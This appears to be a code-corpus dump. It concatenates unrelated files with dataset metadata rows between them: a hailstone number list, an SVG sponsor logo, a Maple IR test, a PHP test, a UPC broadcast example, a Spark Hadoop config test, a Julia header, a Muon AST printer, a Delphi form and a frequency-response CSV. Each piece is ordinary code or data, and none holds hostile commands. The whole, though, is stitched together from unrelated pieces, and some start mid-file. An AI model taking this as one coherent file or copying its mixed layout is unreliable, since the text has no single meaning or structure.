112 terms in 27 82 41 124 62 31 94 47 142 71 214 107 322 161 484 242 121 364 182 91 274 137 412 206 103 310 155 466 233 700 350 175 526 263 790 395 1186 593 1780 890 445 1336 668 334 167 502 251 754 377 1132 566 283 850 425 1276 638 319 958 479 1438 719 2158 1079 3238 1619 4858 2429 7288 3644 1822 911 2734 1367 4102 2051 6154 3077 9232 4616 2308 1154 577 1732 866 433 1300 650 325 976 488 244 122 61 184 92 46 23 70 35 106 53 160 80 40 20 10 5 16 8 4 2 1
| M | 2 | LaudateCorpus1/RosettaCodeData | Task/Hailstone-sequence/MUMPS/hailstone-sequence.mumps | [
"Info-ZIP"
] |
<svg id="Layer_1" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 395.8 102"><style>.st0{fill:#181919}</style><path class="st0" d="M98.7 34.3L80 53V41.7l24.3-24.3-5.6-5.7L80 30.4V.6h-8v29.8L53.3 11.7l-5.6 5.7L72 41.7V53L53.3 34.4 31.9 12.9V.6h-8v12.3L-.4 37.2l5.6 5.7 18.7-18.7v11.4L-.4 59.8l5.6 5.7 18.7-18.6v55.5h8V46.8l18.6 18.7 5.7-5.7-24.3-24.3V24.2l18.6 18.7L72 64.3v38.1h8V64.3L104.3 40zM126.8 53.1h6.9V37.2h16.8V31h-16.8V20.9h17.9v-6.1h-24.8zM190.2 19.1c-1.8-1.8-3.9-3.1-6.4-4-2.5-.9-5.2-1.4-8.2-1.3-3 0-5.7.5-8.1 1.4-2.5 1-4.6 2.3-6.4 4.1-1.8 1.8-3.2 3.9-4.2 6.4-1 2.5-1.5 5.3-1.5 8.4 0 3 .5 5.7 1.5 8.2 1 2.5 2.4 4.6 4.2 6.3 1.8 1.7 3.9 3.1 6.4 4.1 2.5 1 5.2 1.4 8.1 1.4 3 0 5.7-.6 8.2-1.5 2.5-1 4.6-2.4 6.4-4.1 1.8-1.8 3.2-3.9 4.2-6.3 1-2.5 1.5-5.2 1.5-8.2 0-3.1-.5-5.8-1.5-8.3-1-2.7-2.4-4.8-4.2-6.6zm-2.3 20.2c-.6 1.7-1.5 3.2-2.7 4.5-1.2 1.3-2.5 2.3-4.2 3-1.6.7-3.4 1.1-5.4 1.1-2 0-3.8-.4-5.4-1.1-1.6-.7-3-1.7-4.1-3-1.2-1.3-2-2.8-2.7-4.5-.6-1.7-.9-3.6-.9-5.7 0-1.9.3-3.7.9-5.4.6-1.7 1.5-3.1 2.7-4.4 1.2-1.2 2.5-2.2 4.1-2.9 1.6-.7 3.4-1.1 5.4-1.1 2 0 3.8.3 5.4 1.1 1.6.7 3 1.7 4.2 2.9 1.2 1.2 2 2.7 2.7 4.4.6 1.7 1 3.4 1 5.4-.1 2.1-.4 4-1 5.7zM226.5 32.7c1.5-1.9 2.3-4.2 2.3-7 0-2.2-.4-3.9-1.2-5.4-.8-1.4-1.9-2.5-3.2-3.4-1.3-.8-2.9-1.4-4.6-1.8-1.7-.3-3.5-.5-5.3-.5h-13.3v38.3h6.8V36.8h5l8.9 16.2h8.2l-10.2-16.9c2.9-.4 5.1-1.5 6.6-3.4zm-10.3-1.8c-1 .1-1.9.1-2.9.1H208V20.6h5.9c.9 0 1.8.1 2.7.2.9.1 1.8.3 2.5.7.8.3 1.4.9 1.8 1.5.5.7.7 1.6.7 2.7 0 1.3-.3 2.2-.8 2.9-.5.7-1.2 1.2-2 1.6-.7.4-1.6.6-2.6.7zM241.6 36.5h17.6v-6.2h-17.6v-9.4h18.6v-6.1h-25.4v38.3h26.4v-6.2h-19.6zM286.8 33c-1.3-.8-2.8-1.5-4.4-1.9-1.6-.5-3-1-4.4-1.5-1.3-.5-2.5-1.1-3.4-1.8-.9-.7-1.4-1.7-1.4-3 0-.9.2-1.6.5-2.2.4-.6.8-1.1 1.4-1.5.6-.4 1.3-.7 2-.9.7-.2 1.5-.3 2.3-.3 1.3 0 2.6.2 3.8.7 1.2.5 2.2 1.3 2.9 2.3l5-5.2c-1.5-1.4-3.2-2.4-5.1-3-1.9-.6-3.8-.9-5.9-.9-1.8 0-3.5.2-5.2.7-1.7.5-3.2 1.2-4.5 2.1-1.3 1-2.4 2.2-3.2 3.6-.8 1.4-1.2 3.2-1.2 5.1 0 2.3.5 4.1 1.4 5.4.9 1.4 2 2.4 3.3 3.2 1.3.8 2.8 1.5 4.4 1.9 1.6.5 3 1 4.4 1.5 1.3.5 2.5 1.2 3.4 1.9.9.8 1.4 1.8 1.4 3.2 0 .9-.2 1.6-.6 2.3-.4.7-.9 1.2-1.6 1.7-.7.4-1.4.8-2.2 1-.8.2-1.6.3-2.4.3-1.5 0-2.9-.3-4.3-1.1s-2.4-1.7-3.3-2.9l-5.1 5c1.6 1.9 3.5 3.2 5.7 4 2.2.8 4.5 1.2 6.9 1.2 1.9 0 3.7-.3 5.4-.8 1.7-.5 3.2-1.3 4.5-2.3 1.3-1 2.3-2.3 3.1-3.8.8-1.5 1.1-3.3 1.1-5.4 0-2.3-.5-4.1-1.3-5.5-.9-1.1-2-2.2-3.4-3.1zM294.4 20.9h11.7v32.2h6.8V20.9h11.8v-6.1h-30.3zM356 32.7c1.5-1.9 2.3-4.2 2.3-7 0-2.2-.4-3.9-1.2-5.4-.8-1.4-1.9-2.5-3.2-3.4-1.3-.8-2.9-1.4-4.6-1.8-1.7-.3-3.5-.5-5.3-.5h-13.3v38.3h6.8V36.8h5l8.9 16.2h8.2l-10.2-16.9c2.9-.4 5-1.5 6.6-3.4zm-10.3-1.8c-1 .1-1.9.1-2.9.1h-5.3V20.6h5.9c.9 0 1.8.1 2.7.2.9.1 1.8.3 2.5.7.8.3 1.4.9 1.8 1.5.5.7.7 1.6.7 2.7 0 1.3-.3 2.2-.8 2.9-.5.7-1.2 1.2-2 1.6-.7.4-1.6.6-2.6.7zM387.1 14.8L377.6 30l-9.4-15.2h-8.6L374 36.7v16.4h6.8V36.7l14.4-21.9z"/><g><path class="st0" d="M136 67.6h2.4l9 21.1h-2.9l-2.1-5.2h-10.5l-2.2 5.2h-2.8l9.1-21.1zm1.1 3.2l-4.4 10.4h8.6l-4.2-10.4zM173.1 72c-.6-.9-1.4-1.5-2.4-1.9s-1.9-.6-2.9-.6c-1.2 0-2.2.2-3.2.7s-1.8 1.1-2.5 1.9c-.7.8-1.3 1.7-1.7 2.8s-.6 2.2-.6 3.3c0 1.2.2 2.4.6 3.4.4 1.1.9 2 1.7 2.8.7.8 1.5 1.4 2.5 1.9s2.1.7 3.3.7c1.3 0 2.4-.3 3.5-.8 1-.5 1.9-1.2 2.6-2.2l1.9 1.6c-1 1.3-2.1 2.2-3.4 2.8-1.3.6-2.9.9-4.5.9-1.5 0-2.9-.3-4.2-.8-1.3-.6-2.4-1.3-3.4-2.3-1-1-1.7-2.1-2.3-3.5-.5-1.3-.8-2.8-.8-4.4 0-1.5.3-3 .8-4.3s1.3-2.5 2.2-3.5 2.1-1.8 3.4-2.4c1.3-.6 2.7-.9 4.3-.9 1.4 0 2.8.3 4.1.8 1.3.5 2.4 1.4 3.3 2.5l-2.3 1.5zM179.3 67.6h3.7l7.1 16.5h.1l7.2-16.5h3.6v21.1h-2.5V71h-.1l-7.6 17.7h-1.5L181.9 71h-.1v17.7h-2.5V67.6zM216.3 71.3c-.4-.7-1-1.2-1.7-1.5-.7-.3-1.4-.5-2.2-.5-.6 0-1.1.1-1.6.2s-1 .3-1.4.6c-.4.3-.8.6-1 1.1-.3.5-.4 1-.4 1.6 0 .5.1.9.2 1.3s.4.7.7 1c.3.3.8.6 1.4.8.6.3 1.3.5 2.1.8.8.3 1.6.5 2.4.8.8.3 1.4.7 2 1.1.6.5 1.1 1 1.4 1.7.3.7.5 1.5.5 2.6s-.2 2-.6 2.7c-.4.8-1 1.4-1.7 1.9s-1.5.9-2.4 1.1-1.8.4-2.8.4c-.6 0-1.2-.1-1.8-.2-.6-.1-1.2-.3-1.8-.5-.6-.2-1.1-.5-1.6-.9s-.9-.8-1.3-1.4l2.1-1.8c.5.8 1.1 1.4 1.9 1.8.8.4 1.7.6 2.6.6.5 0 1.1-.1 1.6-.2s1-.4 1.5-.7c.4-.3.8-.7 1.1-1.1.3-.5.4-1 .4-1.6 0-.7-.1-1.2-.3-1.6-.2-.4-.6-.8-1-1.1-.5-.3-1-.6-1.7-.8-.7-.2-1.5-.5-2.4-.8-.8-.2-1.4-.5-2.1-.8-.6-.3-1.2-.7-1.7-1.1-.5-.4-.8-1-1.1-1.6-.3-.6-.4-1.4-.4-2.2 0-1 .2-1.9.6-2.6.4-.8.9-1.4 1.6-1.9.7-.5 1.4-.9 2.3-1.1.9-.3 1.7-.4 2.7-.4 1.2 0 2.3.2 3.3.5 1 .4 1.9 1 2.6 1.9l-2 1.9zM231.1 67.6h13.1v2.3h-10.6v7h9.8v2.3h-9.8v9.5h-2.5V67.6zM257.5 89.2c-1.6 0-3.1-.3-4.4-.8-1.3-.6-2.5-1.3-3.5-2.3-1-1-1.7-2.2-2.3-3.5s-.8-2.8-.8-4.4c0-1.6.3-3.1.8-4.4.5-1.4 1.3-2.5 2.3-3.5 1-1 2.1-1.8 3.5-2.3 1.3-.6 2.8-.8 4.4-.8 1.6 0 3.1.3 4.4.8 1.3.6 2.5 1.3 3.5 2.3 1 1 1.7 2.2 2.3 3.5.5 1.4.8 2.8.8 4.4 0 1.6-.3 3.1-.8 4.4s-1.3 2.5-2.3 3.5c-1 1-2.1 1.8-3.5 2.3-1.4.6-2.8.8-4.4.8zm0-2.3c1.2 0 2.4-.2 3.4-.7 1-.5 1.9-1.1 2.6-1.9.7-.8 1.3-1.7 1.7-2.8.4-1.1.6-2.2.6-3.4 0-1.2-.2-2.3-.6-3.4-.4-1.1-1-2-1.7-2.8-.7-.8-1.6-1.4-2.6-1.9s-2.1-.7-3.4-.7c-1.2 0-2.4.2-3.4.7-1 .5-1.9 1.1-2.6 1.9-.7.8-1.3 1.7-1.7 2.8-.4 1.1-.6 2.2-.6 3.4 0 1.2.2 2.3.6 3.4.4 1.1 1 2 1.7 2.8.7.8 1.6 1.4 2.6 1.9s2.1.7 3.4.7zM272.5 67.6h5.4c1 0 2 .1 3 .2s1.9.4 2.7.8c.8.4 1.4 1 1.9 1.7.5.8.7 1.8.7 3.1 0 1.5-.5 2.8-1.4 3.7s-2.2 1.6-3.9 1.8l6 9.7h-3.1l-5.7-9.5H275v9.5h-2.5v-21zm2.5 9.3h2.2c.7 0 1.4 0 2.2-.1.7 0 1.4-.2 2.1-.4s1.1-.6 1.5-1c.4-.5.6-1.1.6-2 0-.8-.1-1.4-.4-1.8-.3-.5-.7-.8-1.2-1.1s-1-.4-1.6-.5c-.6-.1-1.2-.1-1.8-.1H275v7zM298.9 67.6h2.5v8.9h11.2v-8.9h2.5v21.1h-2.5v-9.8h-11.2v9.8h-2.5V67.6zM336.2 80.7c0 1.2-.1 2.2-.4 3.3-.3 1-.7 1.9-1.4 2.7-.6.8-1.4 1.4-2.5 1.9-1 .5-2.2.7-3.7.7s-2.7-.2-3.7-.7c-1-.5-1.8-1.1-2.5-1.9-.6-.8-1.1-1.7-1.4-2.7-.3-1-.4-2.1-.4-3.3v-13h2.5v12.7c0 .9.1 1.7.3 2.5s.5 1.5.9 2.1c.4.6 1 1.1 1.7 1.5.7.4 1.6.6 2.6.6s1.9-.2 2.6-.6 1.2-.9 1.7-1.5c.4-.6.7-1.3.9-2.1.2-.8.3-1.6.3-2.5V67.6h2.5v13.1zM359.3 87.3c-1.2.7-2.5 1.2-3.8 1.5-1.3.3-2.7.5-4.1.5-1.6 0-3.2-.3-4.5-.8-1.4-.5-2.6-1.3-3.6-2.3-1-1-1.8-2.1-2.3-3.5-.6-1.4-.8-2.9-.8-4.5 0-1.7.3-3.2.9-4.5s1.4-2.5 2.4-3.5 2.2-1.7 3.6-2.2c1.4-.5 2.8-.8 4.4-.8 1.4 0 2.7.2 4 .6s2.4 1.1 3.4 2.1l-1.9 2c-.7-.8-1.6-1.4-2.6-1.8-1-.4-2.1-.6-3.1-.6-1.2 0-2.3.2-3.4.7-1 .4-1.9 1-2.7 1.8-.8.8-1.4 1.7-1.8 2.8s-.6 2.2-.6 3.5c0 1.2.2 2.4.6 3.5s1 2 1.8 2.8c.8.8 1.7 1.4 2.8 1.8s2.3.7 3.5.7c.9 0 1.7-.1 2.7-.3.9-.2 1.8-.5 2.6-.9v-6.5h-4.9v-2.3h7.4v10.2zM374.3 89.2c-1.6 0-3.1-.3-4.4-.8-1.3-.6-2.5-1.3-3.5-2.3-1-1-1.7-2.2-2.3-3.5s-.8-2.8-.8-4.4c0-1.6.3-3.1.8-4.4.5-1.4 1.3-2.5 2.3-3.5 1-1 2.1-1.8 3.5-2.3 1.3-.6 2.8-.8 4.4-.8 1.6 0 3.1.3 4.4.8 1.3.6 2.5 1.3 3.5 2.3 1 1 1.7 2.2 2.3 3.5.5 1.4.8 2.8.8 4.4 0 1.6-.3 3.1-.8 4.4s-1.3 2.5-2.3 3.5c-1 1-2.1 1.8-3.5 2.3-1.3.6-2.8.8-4.4.8zm0-2.3c1.2 0 2.4-.2 3.4-.7 1-.5 1.9-1.1 2.6-1.9.7-.8 1.3-1.7 1.7-2.8.4-1.1.6-2.2.6-3.4 0-1.2-.2-2.3-.6-3.4-.4-1.1-1-2-1.7-2.8-.7-.8-1.6-1.4-2.6-1.9s-2.1-.7-3.4-.7c-1.2 0-2.4.2-3.4.7-1 .5-1.9 1.1-2.6 1.9-.7.8-1.3 1.7-1.7 2.8-.4 1.1-.6 2.2-.6 3.4 0 1.2.2 2.3.6 3.4.4 1.1 1 2 1.7 2.8.7.8 1.6 1.4 2.6 1.9 1.1.5 2.2.7 3.4.7z"/></g></svg> | SVG | 1 | jlevon/hugo | docs/_vendor/github.com/gohugoio/gohugoioTheme/static/images/sponsors/forestry-logotype.svg | [
"Apache-2.0"
] |
func $foo (
var %i i32
#var %i1 i32, var %j1 i32, var %k1 i32
) i32 {
return (
depositbits i32 1 23(
constval i32 0xfff, constval i32 0x11))}
# EXEC: %irbuild Main.mpl
# EXEC: %irbuild Main.irb.mpl
# EXEC: %cmp Main.irb.mpl Main.irb.irb.mpl
| Maple | 0 | harmonyos-mirror/OpenArkCompiler-test | test/testsuite/irbuild_test/I0022-mapleall-irbuild-edge-depositbits1/Main.mpl | [
"MulanPSL-1.0"
] |
--TEST--
Test typed properties respect strict types (off)
--FILE--
<?php
class Foo {
public int $bar;
}
$foo = new Foo;
$foo->bar = "1";
var_dump($foo->bar);
?>
--EXPECT--
int(1)
| PHP | 4 | thiagooak/php-src | Zend/tests/type_declarations/typed_properties_028.phpt | [
"PHP-3.01"
] |
/*******************************************************************
This file provides an example usage of upc_all_broadcast collective
function as described in Section 7.3.1.1 in the UPC Spec v1.2.
********************************************************************/
#include <upc.h>
#include <upc_collective.h>
shared int A[THREADS];
shared int B[THREADS];
int main()
{
A[MYTHREAD] = MYTHREAD;
upc_barrier;
upc_all_broadcast(B, &A[1], sizeof(int), UPC_IN_NOSYNC|UPC_OUT_NOSYNC);
upc_barrier;
return 0;
}
| Unified Parallel C | 3 | maurizioabba/rose | tests/CompileTests/UPC_tests/upc_all_broadcast_ex.upc | [
"BSD-3-Clause"
] |
/*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.spark.deploy
import org.apache.hadoop.conf.Configuration
import org.apache.spark.{SparkConf, SparkFunSuite}
class SparkHadoopUtilSuite extends SparkFunSuite {
/**
* Verify that spark.hadoop options are propagated, and that
* the default s3a options are set as expected.
*/
test("appendSparkHadoopConfigs with propagation and defaults") {
val sc = new SparkConf()
val hadoopConf = new Configuration(false)
sc.set("spark.hadoop.orc.filterPushdown", "true")
new SparkHadoopUtil().appendSparkHadoopConfigs(sc, hadoopConf)
assertConfigValue(hadoopConf, "orc.filterPushdown", "true" )
assertConfigValue(hadoopConf, "fs.s3a.downgrade.syncable.exceptions", "true")
assertConfigValue(hadoopConf, "fs.s3a.endpoint", "s3.amazonaws.com")
}
/**
* An empty S3A endpoint will be overridden just as a null value
* would.
*/
test("appendSparkHadoopConfigs with S3A endpoint set to empty string") {
val sc = new SparkConf()
val hadoopConf = new Configuration(false)
sc.set("spark.hadoop.fs.s3a.endpoint", "")
new SparkHadoopUtil().appendSparkHadoopConfigs(sc, hadoopConf)
assertConfigValue(hadoopConf, "fs.s3a.endpoint", "s3.amazonaws.com")
}
/**
* Explicitly set the patched s3a options and verify that they are not overridden.
*/
test("appendSparkHadoopConfigs with S3A options explicitly set") {
val sc = new SparkConf()
val hadoopConf = new Configuration(false)
sc.set("spark.hadoop.fs.s3a.downgrade.syncable.exceptions", "false")
sc.set("spark.hadoop.fs.s3a.endpoint", "s3-eu-west-1.amazonaws.com")
new SparkHadoopUtil().appendSparkHadoopConfigs(sc, hadoopConf)
assertConfigValue(hadoopConf, "fs.s3a.downgrade.syncable.exceptions", "false")
assertConfigValue(hadoopConf, "fs.s3a.endpoint",
"s3-eu-west-1.amazonaws.com")
}
/**
* If the endpoint region is set (even to a blank string) in
* "spark.hadoop.fs.s3a.endpoint.region" then the endpoint is not set,
* even when the s3a endpoint is "".
* This supports a feature in later hadoop versions where this configuration
* pair triggers a revert to the "SDK to work out the region" algorithm,
* which works on EC2 deployments.
*/
test("appendSparkHadoopConfigs with S3A endpoint region set to an empty string") {
val sc = new SparkConf()
val hadoopConf = new Configuration(false)
sc.set("spark.hadoop.fs.s3a.endpoint.region", "")
new SparkHadoopUtil().appendSparkHadoopConfigs(sc, hadoopConf)
// the endpoint value will not have been set
assertConfigValue(hadoopConf, "fs.s3a.endpoint", null)
}
/**
* Assert that a hadoop configuration option has the expected value.
* @param hadoopConf configuration to query
* @param key key to look up
* @param expected expected value.
*/
private def assertConfigValue(
hadoopConf: Configuration,
key: String,
expected: String): Unit = {
assert(hadoopConf.get(key) === expected,
s"Mismatch in expected value of $key")
}
}
| Scala | 4 | akhalymon-cv/spark | core/src/test/scala/org/apache/spark/deploy/SparkHadoopUtilSuite.scala | [
"Apache-2.0"
] |
// This file is a part of Julia. License is MIT: https://julialang.org/license
@import Foundation;
#import "ExecSandboxProtocol.h"
@interface ExecSandbox : NSObject <ExecSandboxProtocol>
@end
| C | 2 | TimoLarson/julia | contrib/mac/frameworkapp/ExecSandbox/ExecSandbox.h | [
"Zlib"
] |
PrintState struct #RefType {
indent int
}
AstPrinter {
printAny(s PrintState, a Node) {
match a {
CodeUnit: printCodeUnit(s, a)
NamespaceDef: printNamespaceDef(s, a)
TypeParams: printTypeParams(s, a)
Attribute: printAttribute(s, a)
FunctionDef: printFunctionDef(s, a)
Param: printParam(s, a)
FieldDef: printFieldDef(s, a)
StaticFieldDef: printStaticFieldDef(s, a)
TaggedPointerOptionDef: printTaggedPointerOptionDef(s, a)
TypeModifierExpression: printTypeModifierExpression(s, a)
TypeArgsExpression: printTypeArgsExpression(s, a)
BlockStatement: printBlockStatement(s, a)
ExpressionStatement: printExpressionStatement(s, a)
ReturnStatement: printReturnStatement(s, a)
BreakStatement: printBreakStatement(s, a)
ContinueStatement: printContinueStatement(s, a)
IfStatement: printIfStatement(s, a)
WhileStatement: printWhileStatement(s, a)
ForEachStatement: printForEachStatement(s, a)
ForIndexStatement: printForIndexStatement(s, a)
MatchStatement: printMatchStatement(s, a)
MatchCase: printMatchCase(s, a)
UnaryOperatorExpression: printUnaryOperatorExpression(s, a)
PostfixUnaryOperatorExpression: printPostfixUnaryOperatorExpression(s, a)
DotExpression: printDotExpression(s, a)
BinaryOperatorExpression: printBinaryOperatorExpression(s, a)
TernaryOperatorExpression: printTernaryOperatorExpression(s, a)
CallExpression: printCallExpression(s, a)
StructInitializerExpression: printStructInitializerExpression(s, a)
FieldInitializerExpression: printFieldInitializerExpression(s, a)
IndexExpression: printIndexExpression(s, a)
ParenExpression: printParenExpression(s, a)
NumberExpression: printNumberExpression(s, a)
StringExpression: printStringExpression(s, a)
Token: printToken(s, a)
null: printLine(s, "(null)")
}
}
printCodeUnit(s PrintState, a CodeUnit) {
for a.contents {
printAny(s, it)
}
}
printNamespaceDef(s PrintState, a NamespaceDef) {
printLine(s, format("NamespaceDef: {} {}", a.name.value, a.kindToken != null ? a.kindToken.value : ""))
indent(s)
printTypeParams(s, a.typeParams)
printAttributes(s, a.attributes)
printDescAnyList(s, "contents", a.contents)
unIndent(s)
}
printTypeParams(s PrintState, a TypeParams) {
if a == null {
return
}
printDescTokenList(s, "typeParams", a.params)
}
printAttribute(s PrintState, a Attribute) {
printDescToken(s, "Attribute", a.name)
indent(s)
printDescAnyList(s, "contents", a.contents)
unIndent(s)
}
printAttributes(s PrintState, list List<Attribute>) {
if list == null {
return
}
printLine(s, "attributes:")
for list {
printAny(s, it)
}
}
printFunctionDef(s PrintState, a FunctionDef) {
printDescToken(s, "FunctionDef", a.name)
indent(s)
if a.typeParams != null {
printDescTokenList(s, "typeParams", a.typeParams.params)
}
printLine(s, "params:")
for p in a.params {
printParam(s, p)
}
printDescAny(s, "returnType", a.returnType)
printAttributes(s, a.attributes)
printDescAny(s, "body", a.body)
unIndent(s)
}
printParam(s PrintState, a Param) {
printToken(s, a.name)
indent(s)
printAny(s, a.type)
printAttributes(s, a.attributes)
unIndent(s)
}
printFieldDef(s PrintState, a FieldDef) {
printDescToken(s, "FieldDef", a.name)
indent(s)
printDescAny(s, "type", a.type)
unIndent(s)
}
printStaticFieldDef(s PrintState, a StaticFieldDef) {
printDescToken(s, "StaticFieldDef", a.name)
indent(s)
printDescAny(s, "type", a.type)
printAttributes(s, a.attributes)
printDescAny(s, "expr", a.initializeExpr)
unIndent(s)
}
printTaggedPointerOptionDef(s PrintState, a TaggedPointerOptionDef) {
printDescAny(s, "TaggedPointerOptionDef", a.type)
}
printTypeModifierExpression(s PrintState, a TypeModifierExpression) {
printDescToken(s, "TypeModifier", a.modifier)
indent(s)
printDescAny(s, "arg", a.arg)
unIndent(s)
}
printTypeArgsExpression(s PrintState, a TypeArgsExpression) {
printLine(s, "TypeArgs")
indent(s)
printDescAny(s, "target", a.target)
printDescAnyList(s, "args", a.args)
unIndent(s)
}
printBlockStatement(s PrintState, a BlockStatement) {
printDescAnyList(s, "BlockStatement", a.contents)
}
printExpressionStatement(s PrintState, a ExpressionStatement) {
printDescAny(s, "ExpressionStatement", a.expr)
}
printReturnStatement(s PrintState, a ReturnStatement) {
printDescAny(s, "ReturnStatement", a.expr)
}
printBreakStatement(s PrintState, a BreakStatement) {
printLine(s, "BreakStatement")
}
printContinueStatement(s PrintState, a ContinueStatement) {
printLine(s, "ContinueStatement")
}
printIfStatement(s PrintState, a IfStatement) {
printLine(s, "IfStatement")
indent(s)
printDescAny(s, "conditionExpr", a.conditionExpr)
printDescAny(s, "ifBranch", a.ifBranch)
printDescAny(s, "elseBranch", a.elseBranch)
unIndent(s)
}
printWhileStatement(s PrintState, a WhileStatement) {
printLine(s, "WhileStatement")
indent(s)
printDescAny(s, "conditionExpr", a.conditionExpr)
printDescAny(s, "body", a.body)
unIndent(s)
}
printForEachStatement(s PrintState, a ForEachStatement) {
printLine(s, "ForEachStatement")
indent(s)
printDescAny(s, "iteratorVariable", a.iteratorVariable)
printDescAny(s, "indexIteratorVariable", a.indexIteratorVariable)
printDescAny(s, "sequenceExpr", a.sequenceExpr)
printDescAny(s, "body", a.body)
unIndent(s)
}
printForIndexStatement(s PrintState, a ForIndexStatement) {
printLine(s, "ForIndexStatement")
indent(s)
printDescAny(s, "initializeStatement", a.initializeStatement)
printDescAny(s, "conditionExpr", a.conditionExpr)
printDescAny(s, "nextStatement", a.nextStatement)
printDescAny(s, "body", a.body)
unIndent(s)
}
printMatchStatement(s PrintState, a MatchStatement) {
printLine(s, "MatchStatement")
indent(s)
printDescAny(s, "expr", a.expr)
printDescAnyList(s, "contents", a.contents)
unIndent(s)
}
printMatchCase(s PrintState, a MatchCase) {
printLine(s, "MatchCase")
indent(s)
printDescAny(s, "type", a.type)
if a.secondType != null {
printDescAny(s, "secondType", a.secondType)
}
printDescAny(s, "statement", a.statement)
unIndent(s)
}
printUnaryOperatorExpression(s PrintState, a UnaryOperatorExpression) {
printDescToken(s, "UnaryOperatorExpression", a.op)
indent(s)
printAny(s, a.expr)
unIndent(s)
}
printPostfixUnaryOperatorExpression(s PrintState, a PostfixUnaryOperatorExpression) {
printDescToken(s, "PostfixUnaryOperatorExpression", a.op)
indent(s)
printAny(s, a.expr)
unIndent(s)
}
printDotExpression(s PrintState, a DotExpression) {
printLine(s, "DotExpression")
indent(s)
printDescAny(s, "lhs", a.lhs)
printDescAny(s, "rhs", a.rhs)
unIndent(s)
}
printBinaryOperatorExpression(s PrintState, a BinaryOperatorExpression) {
printDescToken(s, "BinaryOperatorExpression", a.op)
indent(s)
printDescAny(s, "lhs", a.lhs)
printDescAny(s, "rhs", a.rhs)
unIndent(s)
}
printTernaryOperatorExpression(s PrintState, a TernaryOperatorExpression) {
printLine(s, "TernaryOperatorExpression")
indent(s)
printDescAny(s, "conditionExpr", a.conditionExpr)
printDescAny(s, "trueExpr", a.trueExpr)
printDescAny(s, "falseExpr", a.falseExpr)
unIndent(s)
}
printCallExpression(s PrintState, a CallExpression) {
printLine(s, "CallExpression")
indent(s)
printDescAny(s, "target", a.target)
printDescAnyList(s, "args", a.args)
unIndent(s)
}
printStructInitializerExpression(s PrintState, a StructInitializerExpression) {
printLine(s, "StructInitializerExpression")
indent(s)
printDescAny(s, "target", a.target)
printLine(s, "args")
indent(s)
for a.args {
printFieldInitializerExpression(s, it)
}
unIndent(s)
unIndent(s)
}
printFieldInitializerExpression(s PrintState, a FieldInitializerExpression) {
printLine(s, "FieldInitializerExpression")
indent(s)
printDescAny(s, "fieldName", a.fieldName)
printDescAny(s, "expr", a.expr)
unIndent(s)
}
printIndexExpression(s PrintState, a IndexExpression) {
printLine(s, "IndexExpression")
indent(s)
printDescAny(s, "target", a.target)
printDescAny(s, "arg", a.arg)
unIndent(s)
}
printParenExpression(s PrintState, a ParenExpression) {
printLine(s, "ParenExpression")
indent(s)
printDescAny(s, "expr", a.expr)
unIndent(s)
}
printNumberExpression(s PrintState, a NumberExpression) {
printDescToken(s, "NumberExpression", a.token)
}
printStringExpression(s PrintState, a StringExpression) {
printDescToken(s, "StringExpression", a.token)
}
printToken(s PrintState, token Token) {
printLine(s, token != null ? token.value : "(null)")
}
printDescToken(s PrintState, desc string, token Token) {
printLine(s, format("{}: {}", desc, token != null ? token.value : "(null)"))
}
printDescAny(s PrintState, desc string, node Node) {
printLine(s, format("{}:", desc))
indent(s)
printAny(s, node)
unIndent(s)
}
printDescTokenList(s PrintState, desc string, list List<Token>) {
printLine(s, format("{}:", desc))
if list == null {
return
}
indent(s)
for list {
printToken(s, it)
}
unIndent(s)
}
printDescAnyList(s PrintState, desc string, list List<Node>) {
printLine(s, format("{}:", desc))
if list == null {
return
}
indent(s)
for list {
printAny(s, it)
}
unIndent(s)
}
printLine(s PrintState, text string) {
Stdout.writeLine(format("{}{}", string.repeatChar(' ', s.indent), text))
}
indent(s PrintState) {
s.indent += 2
}
unIndent(s PrintState) {
s.indent -= 2
}
}
| mupad | 5 | jturner/muon | compiler/ast_printer.mu | [
"MIT"
] |
object MainForm: TMainForm
Left = 1
Top = 95
ClientHeight = 129
ClientWidth = 129
Color = clNavy
Font.Charset = DEFAULT_CHARSET
Font.Color = clWindowText
Font.Height = -11
Font.Name = 'MS Sans Serif'
Font.Style = []
OldCreateOrder = True
OnCloseQuery = FormCloseQuery
OnKeyDown = FormKeyDown
OnPaint = FormPaint
OnResize = FormResize
PixelsPerInch = 96
TextHeight = 13
end
| Pascal | 2 | Patriccollu/issrc | Projects/Main.dfm | [
"FSFAP"
] |
frequency,raw
20.00,-12.64
20.20,-12.50
20.40,-12.35
20.61,-12.22
20.81,-12.08
21.02,-11.95
21.23,-11.82
21.44,-11.70
21.66,-11.58
21.87,-11.46
22.09,-11.35
22.31,-11.24
22.54,-11.15
22.76,-11.05
22.99,-10.95
23.22,-10.84
23.45,-10.75
23.69,-10.67
23.92,-10.58
24.16,-10.51
24.40,-10.43
24.65,-10.35
24.89,-10.28
25.14,-10.22
25.39,-10.16
25.65,-10.12
25.91,-10.06
26.16,-10.01
26.43,-9.96
26.69,-9.92
26.96,-9.88
27.23,-9.83
27.50,-9.78
27.77,-9.74
28.05,-9.69
28.33,-9.63
28.62,-9.56
28.90,-9.49
29.19,-9.43
29.48,-9.37
29.78,-9.30
30.08,-9.22
30.38,-9.14
30.68,-9.06
30.99,-8.98
31.30,-8.92
31.61,-8.85
31.93,-8.79
32.24,-8.73
32.57,-8.69
32.89,-8.65
33.22,-8.63
33.55,-8.59
33.89,-8.55
34.23,-8.52
34.57,-8.48
34.92,-8.45
35.27,-8.41
35.62,-8.38
35.97,-8.37
36.33,-8.35
36.70,-8.33
37.06,-8.30
37.43,-8.27
37.81,-8.23
38.19,-8.19
38.57,-8.15
38.95,-8.11
39.34,-8.07
39.74,-8.02
40.14,-7.97
40.54,-7.91
40.94,-7.84
41.35,-7.76
41.76,-7.69
42.18,-7.62
42.60,-7.55
43.03,-7.48
43.46,-7.41
43.90,-7.35
44.33,-7.29
44.78,-7.24
45.23,-7.20
45.68,-7.15
46.13,-7.11
46.60,-7.06
47.06,-7.01
47.53,-6.95
48.01,-6.90
48.49,-6.86
48.97,-6.83
